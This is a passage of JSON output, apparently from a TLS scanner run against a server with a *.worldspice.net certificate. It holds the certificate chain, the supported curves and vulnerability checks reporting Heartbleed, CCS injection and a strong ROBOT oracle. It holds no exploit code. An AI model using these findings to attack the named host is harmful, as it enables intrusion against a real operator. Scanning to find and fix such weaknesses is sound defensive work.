"2.5.4.7", - "name": "localityName" - }, - "rfc4514_string": "L=Memphis", - "value": "Memphis" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=WebNet Memphis\\, Inc.", - "value": "WebNet Memphis, Inc." - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=*.worldspice.net", - "value": "*.worldspice.net" - } - ], - "rfc4514_string": "CN=*.worldspice.net,O=WebNet Memphis\\, Inc.,L=Memphis,ST=Tennessee,C=US" - }, - "subject_alternative_name": { - "dns": [ - "*.worldspice.net", - "mail.worldspice.net", - "nagios.worldspice.net", - "oss.worldspice.net", - "imap.worldspice.net", - "smtp.worldspice.net", - "controlpanel.worldspice.net", - "staff.worldspice.net", - "secure-commerce.worldspice.net", - "worldspice.net" - ] - } - }, - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIg\nU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB\nANyuWJBNwcQwFZA1W248ghX1LFy949v/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83\nnf36QYSvx6+M/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bd\nKpPDkC55gIDvEwRqFDu1m5K+wgdlTvza/P96rtxcflUxDOg5B6TXvi/TC2rSsd9f\n/ld0Uzs1gN2ujkSYs58O09rg1/RrKatEp0tYhG2SS4HD2nOLEpdIkARFdRrdNzGX\nkujNVA075ME/OV4uuPNcfhCOhkEAjUVmR7ChZc6gqikJTvOX6+guqw9ypzAO+sf0\n/RR3w6RbKFfCs/mC/bdFWJsCAwEAAaOCAVowggFWMBIGA1UdEwEB/wQIMAYBAf8C\nAQAwDgYDVR0PAQH/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYY\naHR0cDovL29jc3AuZGlnaWNlcnQuY29tMHsGA1UdHwR0MHIwN6A1oDOGMWh0dHA6\nLy9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1\noDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RD\nQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v\nd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzh\nxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEB\nCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl\n5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq/sELfeNqzqPlt/yGFUzZgTHbO7Djc1lGA\n8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls/3HB40f/1LkAtDdC\n2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPit\nc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0\nj6tJLp07kzQoH3jOlOrHvdPJbRzeXDLz\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "H7hrEWjsdDFUBi6MnMWxcaS3zLQ=", - "fingerprint_sha256": "FUxDPEkZKcXvaG6DjjI2ZKAOag2CLMyVj7TasD5JoI8=", - "hpkp_pin": "5kJvNEMw0KjrCAu7eXY5HZdvyCS13BbA0VJG1RSP91w=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2023-03-08T12:00:00", - "not_valid_before": "2013-03-08T12:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 27858400285679723188777933283712642951289579686400775596360785472462618845441045591174031407467141927949303967273640603370583027943461489694611514307846044788608302737755893035638149922272068624160730850926560034092625156444445564936562297688651849223419070532331233030323585681010618165796464257277453762819678070632408347042070801988771058882131228632546107451893714991242153395658429259537934263208634002792828772169217510656239241005311075681025394047894661420520700962300445533960645787118986590875906485125942483622981513806162241672544997253865343228332025582679476240480384023017494305830194847248717881628827 - }, - "serial_number": 2646203786665923649276728595390119057, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", - "value": "DigiCert SHA2 Secure Server CA" - } - ], - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" - }, - "subject_alternative_name": { - "dns": [] - } - } - ], - "received_chain_contains_anchor_certificate": false, - "received_chain_has_valid_order": true, - "verified_certificate_chain": [ - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIHbjCCBlagAwIBAgIQBJM6fUHhvi3C1z6HHJtR+jANBgkqhkiG9w0BAQsFADBN\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5E\naWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMjAwNzIxMDAwMDAwWhcN\nMjIwOTA4MTIwMDAwWjBtMQswCQYDVQQGEwJVUzESMBAGA1UECBMJVGVubmVzc2Vl\nMRAwDgYDVQQHEwdNZW1waGlzMR0wGwYDVQQKExRXZWJOZXQgTWVtcGhpcywgSW5j\nLjEZMBcGA1UEAwwQKi53b3JsZHNwaWNlLm5ldDCCASIwDQYJKoZIhvcNAQEBBQAD\nggEPADCCAQoCggEBAKbE6X+zlcl1DN4r1kDYUdTc5v/uIf/471xSnM6jgcTnnR/Y\n5YeOiQ6qXJMb7z3zvltZGfTGPEqlwZwUOvwjj0nBVvH7SZt9sQo6hEbMskFZKCOF\nqqtXruXscrnL2dLwr5xKJGYFly09rLGwosFTogIBhUy0M2dyNjTAmOUMlfXlJmDH\npmvx+ODJH3Kkem3LiqhYkut64Oa4So2G9vjeHBPVhNrioVFqEBaZRscpvUAsDjm5\nxrPutH6jsmFK67QLM2VCm+RhH71RAo2ow8IQYM1INj2GFiCKundctt1WrFKHha86\nLvjDYh9a4STThuknInX2RR4yjx7T5h4O8Bo/TFsCAwEAAaOCBCgwggQkMB8GA1Ud\nIwQYMBaAFA+AYRyCMWHVLyjnjUY4tCzhxtniMB0GA1UdDgQWBBT+moyCnw8t+ue0\n44Cp0zjyGOBiBDCB6gYDVR0RBIHiMIHfghAqLndvcmxkc3BpY2UubmV0ghNtYWls\nLndvcmxkc3BpY2UubmV0ghVuYWdpb3Mud29ybGRzcGljZS5uZXSCEm9zcy53b3Js\nZHNwaWNlLm5ldIITaW1hcC53b3JsZHNwaWNlLm5ldIITc210cC53b3JsZHNwaWNl\nLm5ldIIbY29udHJvbHBhbmVsLndvcmxkc3BpY2UubmV0ghRzdGFmZi53b3JsZHNw\naWNlLm5ldIIec2VjdXJlLWNvbW1lcmNlLndvcmxkc3BpY2UubmV0gg53b3JsZHNw\naWNlLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsG\nAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNv\nbS9zc2NhLXNoYTItZzYuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5j\nb20vc3NjYS1zaGEyLWc2LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG/WwBATAqMCgG\nCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAEC\nAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2lj\nZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29t\nL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIB\nfQYKKwYBBAHWeQIEAgSCAW0EggFpAWcAdgBGpVXrdfqRIDC1oolp9PN9ESxBdL79\nSbiFq/L8cP5tRwAAAXNx8GtxAAAEAwBHMEUCICqvgaan2BWQ7bDmOT/xpmV47IKP\nZ21+RjdS9smFzdfHAiEA6Ehxwo+1FpzL27vJEqbrkpPxPqz+2IjcAt8ammrNdikA\ndgAiRUUHWVUkVpY/oS/x922G4CMmY63AS39dxoNcbuIPAgAAAXNx8GtVAAAEAwBH\nMEUCIAxQnsUwQoym7eUbfDqYEaYR9Ldrvpfqyw5gby3lEYxLAiEAlOX/U7jMUrBr\nq6aRtRGUKMHFxngOl7GdEOy1wCJ9JT8AdQBRo7D1/QF5nFZtuDd4jwykeswbJ8v3\nnohCmg3+1IsF5QAAAXNx8GuxAAAEAwBGMEQCIA6qEhLulmy7t/2vBJTR3fsLIMJV\n3WRYE2KQYbwUHBEYAiAPzNeBWzg2gNDj9gmuUXyl7M96IPz86oZCkClSZ5yvpDAN\nBgkqhkiG9w0BAQsFAAOCAQEADlFP6eckleQbC9eI2AxQQyeKB6ADuj9HLfB05LRk\nr80Q0M5VBXin9YC9MIixAz43l49REyjLtVpGJ9fa/VJ/DKEXocGcYBPbySVciaKo\nrPW3LQW1rR7iedbMMgAkw0jjAA6UsocQsIpus5qWaqLerxgsKB8Ahu2wk/GAJGmz\nLSLNs/u2YGoApqSZOwxHtwLBXL3zNsA9AYYsqaGsJVhIxlnZqWySeCuWyQBt+qpz\nO+FYbCH1HumuRvvKs4H+ARLign6kdfxylkr8gou7Fe2Hsn9S2cBhEVKIombtQehD\nZxi3SWcoj8o5fDWhZjg0dmY8nx5ky1xCFFJeQLkRyE/BqA==\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "rCzunnJALCiEKzQ8keOhaDGd6OQ=", - "fingerprint_sha256": "Y3n3zh59kDWKUfyJ1Ew4VIK7BYV30mNnlvaeblg3Wf8=", - "hpkp_pin": "WLmhHopnGYHmVPHKEMCFDbxItZxVAXJE/CpFq6BR0Y8=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", - "value": "DigiCert SHA2 Secure Server CA" - } - ], - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2022-09-08T12:00:00", - "not_valid_before": "2020-07-21T00:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 21052659602255636463538604647483749083515783089354242919067607619891951544427250980336374825268779596384030518649395968955553782395797388856032198774804646888901144118084148242622415305320662219271757619765791183438231099173675613273193512870117241466504369146052945029478603452407803692169792805208746352111150625572780753798980367973665773178858389992631996208264389944444721807567186793884705261613035042029937107705315620324407956878261811133260057255526701083076159431836981185206821747532225772312315999426303261173474985586583915107121043115994270762278138797153452063565151899901600082563820770139677252340827 - }, - "serial_number": 6081365925011041274511708029397455354, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.8", - "name": "stateOrProvinceName" - }, - "rfc4514_string": "ST=Tennessee", - "value": "Tennessee" - }, - { - "oid": { - "dotted_string": "2.5.4.7", - "name": "localityName" - }, - "rfc4514_string": "L=Memphis", - "value": "Memphis" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=WebNet Memphis\\, Inc.", - "value": "WebNet Memphis, Inc." - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=*.worldspice.net", - "value": "*.worldspice.net" - } - ], - "rfc4514_string": "CN=*.worldspice.net,O=WebNet Memphis\\, Inc.,L=Memphis,ST=Tennessee,C=US" - }, - "subject_alternative_name": { - "dns": [ - "*.worldspice.net", - "mail.worldspice.net", - "nagios.worldspice.net", - "oss.worldspice.net", - "imap.worldspice.net", - "smtp.worldspice.net", - "controlpanel.worldspice.net", - "staff.worldspice.net", - "secure-commerce.worldspice.net", - "worldspice.net" - ] - } - }, - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIElDCCA3ygAwIBAgIQAf2j627KdciIQ4tyS8+8kTANBgkqhkiG9w0BAQsFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0xMzAzMDgxMjAwMDBaFw0yMzAzMDgxMjAwMDBaME0xCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJzAlBgNVBAMTHkRpZ2lDZXJ0IFNIQTIg\nU2VjdXJlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB\nANyuWJBNwcQwFZA1W248ghX1LFy949v/cUP6ZCWA1O4Yok3wZtAKc24RmDYXZK83\nnf36QYSvx6+M/hpzTc8zl5CilodTgyu5pnVILR1WN3vaMTIa16yrBvSqXUu3R0bd\nKpPDkC55gIDvEwRqFDu1m5K+wgdlTvza/P96rtxcflUxDOg5B6TXvi/TC2rSsd9f\n/ld0Uzs1gN2ujkSYs58O09rg1/RrKatEp0tYhG2SS4HD2nOLEpdIkARFdRrdNzGX\nkujNVA075ME/OV4uuPNcfhCOhkEAjUVmR7ChZc6gqikJTvOX6+guqw9ypzAO+sf0\n/RR3w6RbKFfCs/mC/bdFWJsCAwEAAaOCAVowggFWMBIGA1UdEwEB/wQIMAYBAf8C\nAQAwDgYDVR0PAQH/BAQDAgGGMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYY\naHR0cDovL29jc3AuZGlnaWNlcnQuY29tMHsGA1UdHwR0MHIwN6A1oDOGMWh0dHA6\nLy9jcmwzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RDQS5jcmwwN6A1\noDOGMWh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydEdsb2JhbFJvb3RD\nQS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v\nd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFA+AYRyCMWHVLyjnjUY4tCzh\nxtniMB8GA1UdIwQYMBaAFAPeUDVW0Uy7ZvCj4hsbw5eyPdFVMA0GCSqGSIb3DQEB\nCwUAA4IBAQAjPt9L0jFCpbZ+QlwaRMxp0Wi0XUvgBCFsS+JtzLHgl4+mUwnNqipl\n5TlPHoOlblyYoiQm5vuh7ZPHLgLGTUq/sELfeNqzqPlt/yGFUzZgTHbO7Djc1lGA\n8MXW5dRNJ2Srm8c+cftIl7gzbckTB+6WohsYFfZcTEDts8Ls/3HB40f/1LkAtDdC\n2iDJ6m6K7hQGrn2iWZiIqBtvLfTyyRRfJs8sjX7tN8Cp1Tm5gr8ZDOo0rwAhaPit\nc+LJMto4JQtV05od8GiG7S5BNO98pVAdvzr508EIDObtHopYJeS4d60tbvVS3bR0\nj6tJLp07kzQoH3jOlOrHvdPJbRzeXDLz\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "H7hrEWjsdDFUBi6MnMWxcaS3zLQ=", - "fingerprint_sha256": "FUxDPEkZKcXvaG6DjjI2ZKAOag2CLMyVj7TasD5JoI8=", - "hpkp_pin": "5kJvNEMw0KjrCAu7eXY5HZdvyCS13BbA0VJG1RSP91w=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2023-03-08T12:00:00", - "not_valid_before": "2013-03-08T12:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 27858400285679723188777933283712642951289579686400775596360785472462618845441045591174031407467141927949303967273640603370583027943461489694611514307846044788608302737755893035638149922272068624160730850926560034092625156444445564936562297688651849223419070532331233030323585681010618165796464257277453762819678070632408347042070801988771058882131228632546107451893714991242153395658429259537934263208634002792828772169217510656239241005311075681025394047894661420520700962300445533960645787118986590875906485125942483622981513806162241672544997253865343228332025582679476240480384023017494305830194847248717881628827 - }, - "serial_number": 2646203786665923649276728595390119057, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.11", - "name": "sha256WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 32, - "name": "sha256" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA", - "value": "DigiCert SHA2 Secure Server CA" - } - ], - "rfc4514_string": "CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US" - }, - "subject_alternative_name": { - "dns": [] - } - }, - { - "as_pem": "-----BEGIN CERTIFICATE-----\nMIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh\nMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3\nd3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD\nQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT\nMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j\nb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG\n9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB\nCSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97\nnh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt\n43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P\nT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4\ngdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO\nBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR\nTLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw\nDQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr\nhMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg\n06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF\nPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls\nYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk\nCAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=\n-----END CERTIFICATE-----\n", - "fingerprint_sha1": "qJhdOmXl5cSy19ZtQMbdL7GcVDY=", - "fingerprint_sha256": "Q0ig6URMeMsmXgWNXolEtNhPlmK9Jtslf4k0pEPHAWE=", - "hpkp_pin": "r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E=", - "issuer": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "not_valid_after": "2031-11-10T00:00:00", - "not_valid_before": "2006-11-10T00:00:00", - "public_key": { - "algorithm": "_RSAPublicKey", - "ec_curve_name": null, - "ec_x": null, - "ec_y": null, - "key_size": 2048, - "rsa_e": 65537, - "rsa_n": 28559384442792876273280274398620578979733786817784174960112400169719065906301471912340204391164075730987771255281479191858503912379974443363319206013285922932969143082114108995903507302607372164107846395526169928849546930352778612946811335349917424469188917500996253619438384218721744278787164274625243781917237444202229339672234113350935948264576180342492691117960376023738627349150441152487120197333042448834154779966801277094070528166918968412433078879939664053044797116916260095055641583506170045241549105022323819314163625798834513544420165235412105694681616578431019525684868803389424296613694298865514217451303 - }, - "serial_number": 10944719598952040374951832963794454346, - "signature_algorithm_oid": { - "dotted_string": "1.2.840.113549.1.1.5", - "name": "sha1WithRSAEncryption" - }, - "signature_hash_algorithm": { - "digest_size": 20, - "name": "sha1" - }, - "subject": { - "attributes": [ - { - "oid": { - "dotted_string": "2.5.4.6", - "name": "countryName" - }, - "rfc4514_string": "C=US", - "value": "US" - }, - { - "oid": { - "dotted_string": "2.5.4.10", - "name": "organizationName" - }, - "rfc4514_string": "O=DigiCert Inc", - "value": "DigiCert Inc" - }, - { - "oid": { - "dotted_string": "2.5.4.11", - "name": "organizationalUnitName" - }, - "rfc4514_string": "OU=www.digicert.com", - "value": "www.digicert.com" - }, - { - "oid": { - "dotted_string": "2.5.4.3", - "name": "commonName" - }, - "rfc4514_string": "CN=DigiCert Global Root CA", - "value": "DigiCert Global Root CA" - } - ], - "rfc4514_string": "CN=DigiCert Global Root CA,OU=www.digicert.com,O=DigiCert Inc,C=US" - }, - "subject_alternative_name": { - "dns": [] - } - } - ], - "verified_chain_has_legacy_symantec_anchor": false, - "verified_chain_has_sha1_signature": false - } - ], - "hostname_used_for_server_name_indication": "10.10.10.10" - }, - "status": "COMPLETED" - }, - "elliptic_curves": { - "error_reason": null, - "error_trace": null, - "result": { - "rejected_curves": [ - { - "name": "X25519", - "openssl_nid": 1034 - }, - { - "name": "X448", - "openssl_nid": 1035 - }, - { - "name": "prime192v1", - "openssl_nid": 409 - }, - { - "name": "secp160k1", - "openssl_nid": 708 - }, - { - "name": "secp160r1", - "openssl_nid": 709 - }, - { - "name": "secp160r2", - "openssl_nid": 710 - }, - { - "name": "secp192k1", - "openssl_nid": 711 - }, - { - "name": "secp224k1", - "openssl_nid": 712 - }, - { - "name": "secp224r1", - "openssl_nid": 713 - }, - { - "name": "secp256k1", - "openssl_nid": 714 - }, - { - "name": "sect163k1", - "openssl_nid": 721 - }, - { - "name": "sect163r1", - "openssl_nid": 722 - }, - { - "name": "sect163r2", - "openssl_nid": 723 - }, - { - "name": "sect193r1", - "openssl_nid": 724 - }, - { - "name": "sect193r2", - "openssl_nid": 725 - }, - { - "name": "sect233k1", - "openssl_nid": 726 - }, - { - "name": "sect233r1", - "openssl_nid": 727 - }, - { - "name": "sect239k1", - "openssl_nid": 728 - }, - { - "name": "sect283k1", - "openssl_nid": 729 - }, - { - "name": "sect283r1", - "openssl_nid": 730 - }, - { - "name": "sect409k1", - "openssl_nid": 731 - }, - { - "name": "sect409r1", - "openssl_nid": 732 - }, - { - "name": "sect571k1", - "openssl_nid": 733 - }, - { - "name": "sect571r1", - "openssl_nid": 734 - } - ], - "supported_curves": [ - { - "name": "prime256v1", - "openssl_nid": 415 - }, - { - "name": "secp384r1", - "openssl_nid": 715 - }, - { - "name": "secp521r1", - "openssl_nid": 716 - } - ], - "supports_ecdh_key_exchange": true - }, - "status": "COMPLETED" - }, - "heartbleed": { - "error_reason": null, - "error_trace": null, - "result": { - "is_vulnerable_to_heartbleed": true - }, - "status": "COMPLETED" - }, - "http_headers": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - }, - "openssl_ccs_injection": { - "error_reason": null, - "error_trace": null, - "result": { - "is_vulnerable_to_ccs_injection": true - }, - "status": "COMPLETED" - }, - "robot": { - "error_reason": null, - "error_trace": null, - "result": { - "robot_result": "VULNERABLE_STRONG_ORACLE" - }, - "status": "COMPLETED" - }, - "session_renegotiation": { - "error_reason": null, - "error_trace": null, - "result": { - "is_vulnerable_to_client_renegotiation_dos": false, - "supports_secure_renegotiation": true - }, - "status": "COMPLETED" - }, - "session_resumption": { - "error_reason": null, - "error_trace": null, - "result": null, - "status": "NOT_SCHEDULED" - }, - "ssl_2_0_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [], - "is_tls_version_supported": false, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "SSL_CK_RC4_128_WITH_MD5", - "openssl_name": "RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "SSL_CK_RC4_128_EXPORT40_WITH_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "SSL_CK_RC2_128_CBC_WITH_MD5", - "openssl_name": "RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "error_message": "Server rejected the connection" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": 